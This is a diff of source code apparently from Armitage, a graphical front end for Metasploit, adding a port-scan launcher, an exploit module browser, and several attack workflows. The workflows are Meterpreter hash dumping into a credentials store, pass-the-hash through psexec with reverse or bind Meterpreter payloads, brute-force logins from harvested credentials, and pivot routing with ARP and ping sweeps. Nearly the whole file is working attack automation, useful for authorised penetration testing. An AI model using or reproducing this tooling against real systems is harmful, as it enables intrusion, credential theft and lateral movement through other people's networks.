foreach $port (@(50000, 21, 1720, 80, 443, 143, 3306, 1521, 110, 5432, 50013, 25, 161, 22, 23, 17185, 135, 8080, 4848, 1433, 5560, 512, 513, 514, 445, 5900, 5038, 111, 139, 49, 515, 7787, 2947, 7144, 9080, 8812, 2525, 2207, 3050, 5405, 1723, 1099, 5555, 921, 10001, 123, 3690, 548, 617, 6112, 6667, 3632, 783, 10050, 38292, 12174, 2967, 5168, 3628, 7777, 6101, 10000, 6504, 41523, 41524, 2000, 1900, 10202, 6503, 6070, 6502, 6050, 2103, 41025, 44334, 2100, 5554, 12203, 26000, 4000, 1000, 8014, 5250, 34443, 8028, 8008, 7510, 9495, 1581, 8000, 18881, 57772, 9090, 9999, 81, 3000, 8300, 8800, 8090, 389, 10203, 5093, 1533, 13500, 705, 623, 4659, 20031, 16102, 6080, 6660, 11000, 19810, 3057, 6905, 1100, 10616, 10628, 5051, 1582, 65535, 105, 22222, 30000, 113, 1755, 407, 1434, 2049, 689, 3128, 20222, 20034, 7580, 7579, 38080, 12401, 910, 912, 11234, 46823, 5061, 5060, 2380, 69, 5800, 62514, 42, 5631, 902)) {
|
||||
$temp = %ports[$port];
|
||||
}
|
||||
|
||||
# add a few left out modules
|
||||
push(%ports['445'], "scanner/smb/smb_version");
|
||||
|
||||
[[$console getWindow] append: "[*] Launching TCP scan\n"];
|
||||
[$console sendString: "use auxiliary/scanner/portscan/tcp\n"];
|
||||
[$console sendString: "set PORTS " . join(", ", keys(%ports)) . "\n"];
|
||||
[$console sendString: "set RHOSTS $hosts $+ \n"];
|
||||
[$console sendString: "set THREADS 24\n"];
|
||||
[$console sendString: "run -j\n"];
|
||||
}
|
||||
}, \$hosts, \@modules));
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
#
|
||||
# Process Browser (for Meterpreter)
|
||||
#
|
||||
|
||||
import table.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
import ui.*;
|
||||
|
||||
sub createModuleBrowser {
|
||||
local('$tree $split $scroll1 $t');
|
||||
$split = [new JSplitPane: [JSplitPane HORIZONTAL_SPLIT], createModuleList(ohash(auxiliary => buildTree(@auxiliary), exploit => buildTree(@exploits), post => buildTree(@post), payload => buildTree(@payloads)), $2), iff($1, $1, [new JPanel])];
|
||||
[$split setOneTouchExpandable: 1];
|
||||
return $split;
|
||||
}
|
||||
|
||||
sub showModulePopup {
|
||||
local('$menu');
|
||||
if (($2 eq "exploit" && "*/browser/*" !iswm $3 && "*/fileformat/*" !iswm $3) || ($2 eq "auxiliary" && "*_login" iswm $3)) {
|
||||
$menu = [new JPopupMenu];
|
||||
item($menu, "Relevant Targets", 'R', lambda({
|
||||
thread(lambda({
|
||||
local('$options %filter $os');
|
||||
$options = call($mclient, "module.options", $type, $module);
|
||||
|
||||
if ("RPORT" in $options) {
|
||||
%filter["ports"] = $options['RPORT']['default'];
|
||||
|
||||
if (%filter["ports"] eq '445') {
|
||||
%filter["ports"] .= ", 139";
|
||||
}
|
||||
else if (%filter["ports"] eq '80') {
|
||||
%filter["ports"] .= ", 443";
|
||||
}
|
||||
}
|
||||
|
||||
$os = split('/', $module)[0];
|
||||
if ($os eq "windows") {
|
||||
%filter["os"] = "windows";
|
||||
}
|
||||
else if ($os eq "linux") {
|
||||
%filter["os"] = "linux";
|
||||
}
|
||||
else if ($os eq "osx") {
|
||||
%filter["os"] = "ios, mac";
|
||||
}
|
||||
|
||||
if (size(%filter) > 0) {
|
||||
thread(lambda({
|
||||
call($mclient, "db.filter", %filter);
|
||||
}, \%filter));
|
||||
[$frame setTitle: "$TITLE - $module"]
|
||||
showError("Created a dynamic workspace for this module.\nUse Workspaces -> Show All to see all hosts.");
|
||||
}
|
||||
else {
|
||||
showError("I'm sorry, this option doesn't work for\nthis module.");
|
||||
}
|
||||
}, \$module, \$type));
|
||||
}, $module => $3, $type => $2));
|
||||
|
||||
setupMenu($menu, "module", @($2, $3));
|
||||
|
||||
[$menu show: [$1 getSource], [$1 getX], [$1 getY]];
|
||||
}
|
||||
else {
|
||||
installMenu($1, "module", @($2, $3));
|
||||
}
|
||||
}
|
||||
|
||||
sub moduleAction {
|
||||
local('$type $path $hosts');
|
||||
($type, $path, $hosts) = @_;
|
||||
|
||||
thread(lambda({
|
||||
if ($path in @exploits || $path in @auxiliary || $path in @payloads || $path in @post) {
|
||||
if ($type eq "exploit") {
|
||||
if ('*/browser/*' iswm $path || '*/fileformat/*' iswm $path) {
|
||||
launch_dialog($path, $type, $path, 1, $hosts);
|
||||
}
|
||||
else {
|
||||
local('$a $b');
|
||||
$a = call($mclient, "module.info", "exploit", $path);
|
||||
$b = call($mclient, "module.options", "exploit", $path);
|
||||
dispatchEvent(lambda({
|
||||
attack_dialog($a, $b, $hosts, $path);
|
||||
}, \$a, \$b, \$hosts, \$path));
|
||||
}
|
||||
}
|
||||
else {
|
||||
launch_dialog($path, $type, $path, 1, $hosts);
|
||||
}
|
||||
}
|
||||
}, \$type, \$path, \$hosts));
|
||||
}
|
||||
|
||||
sub createModuleList {
|
||||
local('$tree $split $scroll1 $t');
|
||||
$tree = [new ATree: treeNodes($null, $1)];
|
||||
[$tree setRootVisible: 0];
|
||||
[$tree setDragEnabled: 1];
|
||||
[$tree setTransferHandler: $2];
|
||||
|
||||
addMouseListener($tree, lambda({
|
||||
local('$t');
|
||||
$t = [$1 isPopupTrigger];
|
||||
if ($t == 0 && ($0 ne "mousePressed" || [$1 getClickCount] < 2)) {
|
||||
return;
|
||||
}
|
||||
|
||||
local('$p');
|
||||
$p = [[$1 getSource] getPathForLocation: [$1 getX], [$1 getY]];
|
||||
if ($p is $null) {
|
||||
return;
|
||||
}
|
||||
else if ([$1 isPopupTrigger]) {
|
||||
local('$selected $type $path');
|
||||
$selected = map({ return "$1"; }, [$p getPath]);
|
||||
$type = $selected[1];
|
||||
$path = join('/', sublist($selected, 2));
|
||||
showModulePopup($1, $type, $path);
|
||||
return;
|
||||
}
|
||||
|
||||
local('$selected $type $path $hosts');
|
||||
$selected = map({ return "$1"; }, [$p getPath]);
|
||||
if (size($selected) > 2) {
|
||||
$type = $selected[1];
|
||||
$path = join('/', sublist($selected, 2));
|
||||
$hosts = [$targets getSelectedHosts];
|
||||
moduleAction($type, $path, $hosts);
|
||||
}
|
||||
}));
|
||||
|
||||
$scroll1 = [new JScrollPane: $tree, [JScrollPane VERTICAL_SCROLLBAR_AS_NEEDED], [JScrollPane HORIZONTAL_SCROLLBAR_AS_NEEDED]];
|
||||
|
||||
local('$search $button');
|
||||
$search = [new ATextField: 10];
|
||||
[$search setToolTipText: "Enter a query to filter the MSF modules"];
|
||||
[$search addKeyListener: lambda({
|
||||
this('$id');
|
||||
|
||||
if ($0 ne "keyReleased") {
|
||||
return;
|
||||
}
|
||||
|
||||
local('$model $_id $text');
|
||||
$text = [$search getText];
|
||||
if ($text ne "" && strlen($text) >= 3) {
|
||||
local('$filter %list $a $e $p $o $x $f');
|
||||
$filter = lambda({ return iff(lc("* $+ $s $+ *") iswm lc($1), $1); }, $s => strrep($text, ' ', '*'));
|
||||
%list = ohash();
|
||||
$a = filter($filter, @auxiliary);
|
||||
$e = filter($filter, @exploits);
|
||||
$p = filter($filter, @payloads);
|
||||
$o = filter($filter, @post);
|
||||
if (size($a) > 0) { %list["auxiliary"] = buildTree($a); }
|
||||
if (size($e) > 0) { %list["exploit"] = buildTree($e); }
|
||||
if (size($p) > 0) { %list["payload"] = buildTree($p); }
|
||||
if (size($o) > 0) { %list["post"] = buildTree($o); }
|
||||
|
||||
$_id = [(%list . "") hashCode];
|
||||
|
||||
if ($id ne $_id) {
|
||||
$id = $_id;
|
||||
$model = treeNodes($null, %list);
|
||||
[[$tree getModel] setRoot: $model];
|
||||
|
||||
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
||||
[$tree expandRow: $x];
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
$id = -1L;
|
||||
$model = treeNodes($null, $original);
|
||||
[[$tree getModel] setRoot: $model];
|
||||
}
|
||||
}, $original => $1, \$tree, \$search)];
|
||||
|
||||
local('$panel');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
[$panel add: $scroll1, [BorderLayout CENTER]];
|
||||
[$panel add: wrapComponent($search, 5), [BorderLayout SOUTH]];
|
||||
|
||||
[$panel setPreferredSize: [new Dimension: 180, 600] ];
|
||||
[$panel setMinimumSize: [new Dimension: 180, 0]];
|
||||
|
||||
let(&showPostModules, \$tree, \$search)
|
||||
let(&showModules, \$tree, \$search)
|
||||
return $panel;
|
||||
}
|
||||
|
||||
# shows the post modules compatible with a session... for this to work, the
|
||||
# code that creates the module browser must call: let(&showExploitModules, $tree => ..., $search => ...)
|
||||
sub showModules {
|
||||
local('%list $model $1 $2 $3 $4');
|
||||
|
||||
%list = ohash(
|
||||
auxiliary => iff($1, buildTree($1), $null),
|
||||
exploit => iff($2, buildTree($2), $null),
|
||||
payload => iff($3, buildTree($3), $null),
|
||||
post => iff($4, buildTree($4), $null));
|
||||
$model = treeNodes($null, %list);
|
||||
|
||||
dispatchEvent(lambda({
|
||||
local('$x');
|
||||
[[$tree getModel] setRoot: $model];
|
||||
|
||||
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
||||
[$tree expandRow: $x];
|
||||
}
|
||||
[$search setText: ""];
|
||||
}, \$search, \$tree, \$model));
|
||||
}
|
||||
|
||||
sub showExploitModules {
|
||||
local('%list $model');
|
||||
if (size($1) == 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
showModules($null, $1, $null, $null);
|
||||
}
|
||||
|
||||
# shows the post modules compatible with a session... for this to work, the
|
||||
# code that creates the module browser must call: let(&showPostModules, $tree => ..., $search => ...)
|
||||
sub showPostModules {
|
||||
local('@allowed $2');
|
||||
@allowed = getOS(sessionToOS($1));
|
||||
fork({
|
||||
local('$modules %list $model');
|
||||
$modules = call($client, "session.compatible_modules", $sid)["modules"];
|
||||
$modules = map({ return substr($1, 5); }, $modules);
|
||||
|
||||
# filter out operating systems.
|
||||
$modules = filter(lambda({
|
||||
local('$o');
|
||||
($o) = split('/', $1);
|
||||
return iff($o in @allowed, $1);
|
||||
}, \@allowed), $modules);
|
||||
|
||||
# filter out other stuff if a filter exists...
|
||||
if ($filter !is $null) {
|
||||
$modules = filter(lambda({ return iff($filter iswm $1, $1); }, \$filter), $modules);
|
||||
}
|
||||
|
||||
%list = ohash(post => buildTree($modules));
|
||||
$model = treeNodes($null, %list);
|
||||
|
||||
dispatchEvent(lambda({
|
||||
local('$x');
|
||||
[[$tree getModel] setRoot: $model];
|
||||
|
||||
for ($x = 0; $x < [$tree getRowCount]; $x++) {
|
||||
[$tree expandRow: $x];
|
||||
}
|
||||
[$search setText: ""];
|
||||
}, \$search, \$tree, \$model));
|
||||
}, \$tree, \$search, $sid => $1, \$client, \@allowed, $filter => $2);
|
||||
}
|
||||
|
||||
sub createModuleBrowserTab {
|
||||
[$frame addTab: "Modules", createModuleBrowser(), $null];
|
||||
}
|
||||
@@ -0,0 +1,332 @@
|
||||
#
|
||||
# pass the hash attack gets its own file.
|
||||
#
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import msf.*;
|
||||
import table.*;
|
||||
import ui.*;
|
||||
|
||||
%handlers["hashdump"] = {
|
||||
this('$host $safe $queue');
|
||||
|
||||
if ($0 eq "begin" && "*Unknown command*hashdump*" iswm $2) {
|
||||
$host = $null;
|
||||
|
||||
if ($safe is $null) {
|
||||
$safe = 1;
|
||||
m_cmd($1, "use priv");
|
||||
m_cmd($1, "hashdump");
|
||||
}
|
||||
else {
|
||||
showError("hashdump is not available here");
|
||||
$safe = $null;
|
||||
}
|
||||
}
|
||||
else if ($0 eq "execute") {
|
||||
$host = sessionToHost($1);
|
||||
$queue = [new armitage.ConsoleQueue: $client];
|
||||
[$queue start];
|
||||
elog("dumped hashes on $host");
|
||||
showError("Dumping Hashes.\nUse View -> Credentials to see them.");
|
||||
}
|
||||
else if ($0 eq "update" && $host !is $null && $2 ismatch '(.*?):(\d+):([a-zA-Z0-9]+:[a-zA-Z0-9]+).*?') {
|
||||
local('$user $gid $hash');
|
||||
($user, $gid, $hash) = matched();
|
||||
|
||||
# strip any funky characters that will cause this call to throw an exception
|
||||
$user = replace($user, '\P{Graph}', "");
|
||||
|
||||
[$queue addCommand: $null, "creds -a $host -p 445 -t smb_hash -u $user -P $hash"];
|
||||
}
|
||||
else if ($0 eq "end" && ("*Error running*" iswm $2 || "*Operation failed*" iswm $2)) {
|
||||
[$queue stop];
|
||||
showError("Hash dump failed. Ask yourself:\n\n1) Do I have system privileges?\n\nNo? Then use Access -> Escalate Privileges\n\n2) Is meterpreter running in a process owned\nby a System user?\n\nNo? Use Explore -> Show Processes and migrate\nto a process owned by a System user.");
|
||||
$host = $null;
|
||||
}
|
||||
else if ($0 eq "end" && $host !is $null) {
|
||||
[$queue stop];
|
||||
}
|
||||
};
|
||||
|
||||
sub refreshCredsTable {
|
||||
thread(lambda({
|
||||
[Thread yield];
|
||||
local('$creds $cred');
|
||||
[$model clear: 128];
|
||||
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
|
||||
foreach $cred ($creds) {
|
||||
if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
|
||||
[$model addEntry: $cred];
|
||||
}
|
||||
}
|
||||
[$model fireListeners];
|
||||
}, $model => $1, $title => $2));
|
||||
}
|
||||
|
||||
sub show_hashes {
|
||||
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $scroll');
|
||||
|
||||
$dialog = dialog($1, 480, $2);
|
||||
|
||||
$model = [new GenericTableModel: @("user", "pass", "host"), "user", 128];
|
||||
|
||||
$table = [new ATable: $model];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$sorter setComparator: 2, &compareHosts];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
refreshCredsTable($model, $1);
|
||||
|
||||
$scroll = [new JScrollPane: $table];
|
||||
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
||||
[$dialog add: $scroll, [BorderLayout CENTER]];
|
||||
|
||||
return @($dialog, $table, $model);
|
||||
}
|
||||
|
||||
sub createCredentialsTab {
|
||||
local('$dialog $table $model $panel $export $crack $refresh');
|
||||
($dialog, $table, $model) = show_hashes("", 320);
|
||||
[$dialog removeAll];
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({
|
||||
refreshCredsTable($model, $null);
|
||||
}, \$model)];
|
||||
|
||||
$crack = [new JButton: "Crack Passwords"];
|
||||
[$crack addActionListener: {
|
||||
thread({
|
||||
launch_dialog("Crack Passwords", "auxiliary", "analyze/jtr_crack_fast", 1);
|
||||
});
|
||||
}];
|
||||
|
||||
$export = [new JButton: "Export"];
|
||||
[$export addActionListener: {
|
||||
if ($client !is $mclient) {
|
||||
cmd_safe("db_export -f pwdump -a creds.export", {
|
||||
thread({
|
||||
downloadFile("creds.export", saveFile2());
|
||||
});
|
||||
});
|
||||
}
|
||||
else {
|
||||
local('$file');
|
||||
$file = saveFile2();
|
||||
$file = strrep($file, '\\', '\\\\');
|
||||
cmd_safe("db_export -f pwdump -a $file", {
|
||||
showError("Saved credentials");
|
||||
});
|
||||
}
|
||||
}];
|
||||
|
||||
[$panel add: center($refresh, $crack, $export), [BorderLayout SOUTH]];
|
||||
[$frame addTab: "Credentials", $panel, $null];
|
||||
}
|
||||
|
||||
sub pass_the_hash {
|
||||
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls');
|
||||
|
||||
($dialog, $table, $model) = show_hashes("Pass the Hash", 360);
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
|
||||
$bottom = [new JPanel];
|
||||
#[$bottom setLayout: [new GridLayout: 4, 1]];
|
||||
[$bottom setLayout: [new BoxLayout: $bottom, [BoxLayout Y_AXIS]]];
|
||||
|
||||
$user = [new ATextField: 32];
|
||||
$pass = [new ATextField: 32];
|
||||
$domain = [new ATextField: 32];
|
||||
[$domain setText: "WORKGROUP"];
|
||||
$brute = [new JCheckBox: "Check all credentials"];
|
||||
|
||||
$button = [new JButton: "Launch"];
|
||||
|
||||
[[$table getSelectionModel] addListSelectionListener: lambda({
|
||||
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
|
||||
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
|
||||
}, \$table, \$model, \$user, \$pass)];
|
||||
|
||||
$reverse = [new JCheckBox: "Use reverse connection"];
|
||||
|
||||
@controls = @($user, $pass, $reverse);
|
||||
|
||||
[$brute addActionListener: lambda({
|
||||
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
|
||||
}, \$brute, \@controls)];
|
||||
|
||||
[$bottom add: label_for("User", 75, $user)];
|
||||
[$bottom add: label_for("Pass", 75, $pass)];
|
||||
[$bottom add: label_for("Domain", 75, $domain)];
|
||||
[$bottom add: left($brute)];
|
||||
[$bottom add: left($reverse)];
|
||||
|
||||
[$button addActionListener: lambda({
|
||||
local('$u $p %options $host');
|
||||
%options["SMBDomain"] = [$domain getText];
|
||||
%options['RPORT'] = "445";
|
||||
|
||||
if ([$brute isSelected]) {
|
||||
%options["RHOSTS"] = join(", ", $hosts);
|
||||
%options["BLANK_PASSWORDS"] = "false";
|
||||
%options["USER_AS_PASS"] = "false";
|
||||
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]), "smb_hash");
|
||||
elog("brute force smb @ " . %options["RHOSTS"]);
|
||||
launchBruteForce("auxiliary", "scanner/smb/smb_login", %options, "brute smb");
|
||||
}
|
||||
else {
|
||||
%options["SMBUser"] = [$user getText];
|
||||
%options["SMBPass"] = [$pass getText];
|
||||
%options["LPORT"] = randomPort();
|
||||
|
||||
foreach $host ($hosts) {
|
||||
if ([$reverse isSelected]) {
|
||||
%options["LHOST"] = $MY_ADDRESS;
|
||||
%options["PAYLOAD"] = "windows/meterpreter/reverse_tcp";
|
||||
}
|
||||
else if (isIPv6($host)) {
|
||||
%options["PAYLOAD"] = "windows/meterpreter/bind_ipv6_tcp";
|
||||
}
|
||||
else {
|
||||
%options["PAYLOAD"] = "windows/meterpreter/bind_tcp";
|
||||
}
|
||||
%options["RHOST"] = $host;
|
||||
module_execute("exploit", "windows/smb/psexec", copy(%options));
|
||||
}
|
||||
elog("psexec: " . [$user getText] . ":" . [$pass getText] . " @ " . join(", ", $hosts));
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog, \$user, \$domain, \$pass, \$reverse, \$hosts, \$brute, \$model)];
|
||||
|
||||
$b2 = [new JPanel];
|
||||
[$b2 setLayout: [new BorderLayout]];
|
||||
[$b2 add: $bottom, [BorderLayout NORTH]];
|
||||
[$b2 add: center($button), [BorderLayout SOUTH]];
|
||||
|
||||
[$dialog add: $b2, [BorderLayout SOUTH]];
|
||||
|
||||
[$dialog pack];
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
|
||||
sub show_login_dialog {
|
||||
local('$port $srvc');
|
||||
($port, $srvc) = values($service, @("port", "name"));
|
||||
|
||||
local('$dialog $model $table $sorter $o $user $pass $button $reverse $domain $bottom $b2 $brute @controls $scroll');
|
||||
|
||||
($dialog, $table, $model) = show_hashes("login", 320);
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
|
||||
$bottom = [new JPanel];
|
||||
[$bottom setLayout: [new GridLayout: 3, 1]];
|
||||
|
||||
$user = [new ATextField: 32];
|
||||
$pass = [new ATextField: 32];
|
||||
$brute = [new JCheckBox: "Check all credentials"];
|
||||
@controls = @($user, $pass);
|
||||
|
||||
$button = [new JButton: "Launch"];
|
||||
|
||||
[[$table getSelectionModel] addListSelectionListener: lambda({
|
||||
[$user setText: [$model getSelectedValueFromColumn: $table, "user"]];
|
||||
[$pass setText: [$model getSelectedValueFromColumn: $table, "pass"]];
|
||||
}, \$table, \$model, \$user, \$pass)];
|
||||
|
||||
[$bottom add: label_for("User", 75, $user)];
|
||||
[$bottom add: label_for("Pass", 75, $pass)];
|
||||
[$bottom add: $brute];
|
||||
|
||||
[$brute addActionListener: lambda({
|
||||
map(lambda({ [$1 setEnabled: $enable]; }, $enable => iff([$brute isSelected], 0, 1)), @controls);
|
||||
}, \$brute, \@controls)];
|
||||
|
||||
[$button addActionListener: lambda({
|
||||
local('$u $p %options $host');
|
||||
%options["RHOSTS"] = join(', ', $hosts);
|
||||
%options["RPORT"] = $port;
|
||||
if ([$brute isSelected]) {
|
||||
%options["BLANK_PASSWORDS"] = "false";
|
||||
%options["USER_AS_PASS"] = "false";
|
||||
%options["USERPASS_FILE"] = createUserPassFile(convertAll([$model getRows]));
|
||||
elog("brute force $srvc @ " . %options["RHOSTS"]);
|
||||
launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options, "brute $srvc");
|
||||
}
|
||||
else {
|
||||
%options["USERNAME"] = [$user getText];
|
||||
%options["PASSWORD"] = [$pass getText];
|
||||
%options["BLANK_PASSWORDS"] = "false";
|
||||
%options["USER_AS_PASS"] = "false";
|
||||
warn("$srvc $+ : $port => " . %options);
|
||||
elog("login $srvc with " . [$user getText] . ":" . [$pass getText] . " @ " . %options["RHOSTS"]);
|
||||
module_execute("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
}, \$dialog, \$user, \$pass, \$hosts, \$srvc, \$port, \$brute, \$model)];
|
||||
|
||||
$b2 = [new JPanel];
|
||||
[$b2 setLayout: [new BorderLayout]];
|
||||
[$b2 add: $bottom, [BorderLayout NORTH]];
|
||||
[$b2 add: center($button), [BorderLayout SOUTH]];
|
||||
|
||||
$scroll = [new JScrollPane: $table];
|
||||
[$scroll setPreferredSize: [new Dimension: 480, 130]];
|
||||
[$dialog add: $scroll, [BorderLayout CENTER]];
|
||||
[$dialog add: $b2, [BorderLayout SOUTH]];
|
||||
|
||||
[$dialog pack];
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
sub createUserPassFile {
|
||||
local('$handle $user $pass $type $row $2');
|
||||
$handle = openf(">userpass.txt");
|
||||
foreach $row ($1) {
|
||||
($user, $pass, $type) = values($row, @("user", "pass", "ptype"));
|
||||
if ($type eq "password" || $type eq $2) {
|
||||
println($handle, "$user $pass");
|
||||
}
|
||||
else {
|
||||
println($handle, "$user");
|
||||
}
|
||||
}
|
||||
closef($handle);
|
||||
|
||||
if ($client !is $mclient) {
|
||||
local('$file');
|
||||
$file = uploadFile("userpass.txt");
|
||||
deleteOnExit("userpass.txt");
|
||||
return $file;
|
||||
}
|
||||
else {
|
||||
return getFileProper("userpass.txt");
|
||||
}
|
||||
}
|
||||
|
||||
# launchBruteForce("auxiliary", "scanner/ $+ $srvc $+ / $+ $srvc $+ _login", %options);
|
||||
sub launchBruteForce {
|
||||
thread(lambda({
|
||||
local('$console $key $value');
|
||||
$console = createDisplayTab("$title", $host => "all", $file => "brute_login");
|
||||
[$console addCommand: $null, "use $type $+ / $+ $module"];
|
||||
foreach $key => $value ($options) {
|
||||
$value = strrep($value, '\\', '\\\\');
|
||||
[$console addCommand: $null, "set $key $value"];
|
||||
}
|
||||
[$console addCommand: $null, "set REMOVE_USERPASS_FILE true"];
|
||||
[$console addCommand: $null, "run -j"];
|
||||
[$console start];
|
||||
}, $type => $1, $module => $2, $options => $3, $title => $4));
|
||||
}
|
||||
@@ -0,0 +1,178 @@
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import msf.*;
|
||||
import table.*;
|
||||
|
||||
import graph.*;
|
||||
import ui.*;
|
||||
|
||||
sub maskToCIDR {
|
||||
local ('$x');
|
||||
$x = strlen(strrep(formatNumber([Route ipToLong: $1], 10, 2), "0", ""));
|
||||
return $x;
|
||||
}
|
||||
|
||||
sub arp_scan_function {
|
||||
local('$host $mask');
|
||||
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
||||
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
||||
|
||||
if ($host ne "" && $mask ne "") {
|
||||
elog("ARP scan: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
|
||||
module_execute("post", "windows/gather/arp_scanner", %(THREADS => 24, SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
|
||||
sub ping_sweep_function {
|
||||
local('$host $mask');
|
||||
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
||||
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
||||
|
||||
if ($host ne "" && $mask ne "") {
|
||||
elog("ping sweep: $host $+ /" . maskToCIDR($mask) . " via $sid", sessionToHost($sid));
|
||||
module_execute("post", "multi/gather/ping_sweep", %(SESSION => $sid, RHOSTS => "$host $+ /" . maskToCIDR($mask)));
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
|
||||
sub add_pivot_function {
|
||||
local('$host $mask');
|
||||
$host = [$model getSelectedValueFromColumn: $table, "host"];
|
||||
$mask = [$model getSelectedValueFromColumn: $table, "mask"];
|
||||
|
||||
if ($host ne "" && $mask ne "") {
|
||||
elog("added pivot: $host $mask $sid", sessionToHost($sid));
|
||||
cmd_safe("route add $host $mask $sid", {
|
||||
if ($3 ne "") { showError($3); }
|
||||
});
|
||||
}
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
|
||||
#
|
||||
# pop up a dialog to start our attack with... fun fun fun
|
||||
#
|
||||
|
||||
# pivot_dialog($sid, $network output?))
|
||||
sub pivot_dialog {
|
||||
if ($0 eq "end") {
|
||||
local('$data $platform');
|
||||
$data = sessionData($1);
|
||||
if ($data && 'platform' in $data) {
|
||||
$platform = $data['platform'];
|
||||
}
|
||||
|
||||
# parse through the routing table...
|
||||
local('@tempr $entry $host $mask $gateway @routes');
|
||||
@tempr = parseTextTable($2, @('Subnet', 'Netmask', 'Gateway', 'Metric', 'Interface'));
|
||||
foreach $entry (@tempr) {
|
||||
($host, $mask, $gateway) = values($entry, @('Subnet', 'Netmask', 'Gateway'));
|
||||
|
||||
if ($host ne "127.0.0.1" && $host ne "127.0.0.0" && $host ne "224.0.0.0" && $host ne "0.0.0.0" && $mask ne "255.255.255.255") {
|
||||
# work around a Metasploit bug that returns the host IP/mask rather than the actual route info
|
||||
# for Java meterpreter...
|
||||
if ($platform eq "java/java") {
|
||||
local('$a $b $c $d');
|
||||
($a, $b, $c, $d) = split('\\.', $host);
|
||||
|
||||
if ($mask eq "255.255.255.0") {
|
||||
$host = "$a $+ . $+ $b $+ . $+ $c $+ .0";
|
||||
}
|
||||
else if ($mask eq "255.255.0.0") {
|
||||
$host = "$a $+ . $+ $b $+ .0.0";
|
||||
}
|
||||
else if ($mask eq "255.0.0.0") {
|
||||
$host = "$a $+ .0.0.0";
|
||||
}
|
||||
}
|
||||
|
||||
push(@routes, %(host => $host, mask => $mask, gateway => $gateway));
|
||||
}
|
||||
}
|
||||
|
||||
# ok, let's close down this handler...
|
||||
$platform = $null;
|
||||
$handler = $null;
|
||||
%handlers["route"] = $null;
|
||||
|
||||
if (size(@routes) == 0) {
|
||||
# eventually, we're going to need to parse IPv6 stuff...
|
||||
return;
|
||||
}
|
||||
|
||||
local('$dialog $model $table $sorter $center $a $route $button');
|
||||
$dialog = [new JDialog: $frame, $title, 0];
|
||||
[$dialog setSize: 320, 240];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
[$dialog setLocationRelativeTo: $frame];
|
||||
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
|
||||
$model = [new GenericTableModel: @("host", "mask"), "Option", 8];
|
||||
foreach $route (@routes) {
|
||||
[$model _addEntry: $route];
|
||||
}
|
||||
|
||||
$table = [new ATable: $model];
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
if (size(@routes) > 0) {
|
||||
[[$table getSelectionModel] addSelectionInterval: 0, 0];
|
||||
}
|
||||
|
||||
$center = [new JScrollPane: $table];
|
||||
|
||||
$a = [new JPanel];
|
||||
[$a setLayout: [new FlowLayout: [FlowLayout CENTER]]];
|
||||
|
||||
$button = [new JButton: $label];
|
||||
[$button addActionListener: lambda($function, \$table, \$model, \$dialog, \$sid)];
|
||||
|
||||
[$a add: $button];
|
||||
|
||||
[$dialog add: $center, [BorderLayout CENTER]];
|
||||
[$dialog add: $a, [BorderLayout SOUTH]];
|
||||
|
||||
[$button requestFocus];
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
}
|
||||
|
||||
sub setupPivotDialog {
|
||||
return lambda({
|
||||
%handlers["route"] = lambda(&pivot_dialog, \$sid, $title => "Add Pivot", $label => "Add Pivot", $function => &add_pivot_function);
|
||||
m_cmd($sid, "route");
|
||||
}, $sid => "$1");
|
||||
}
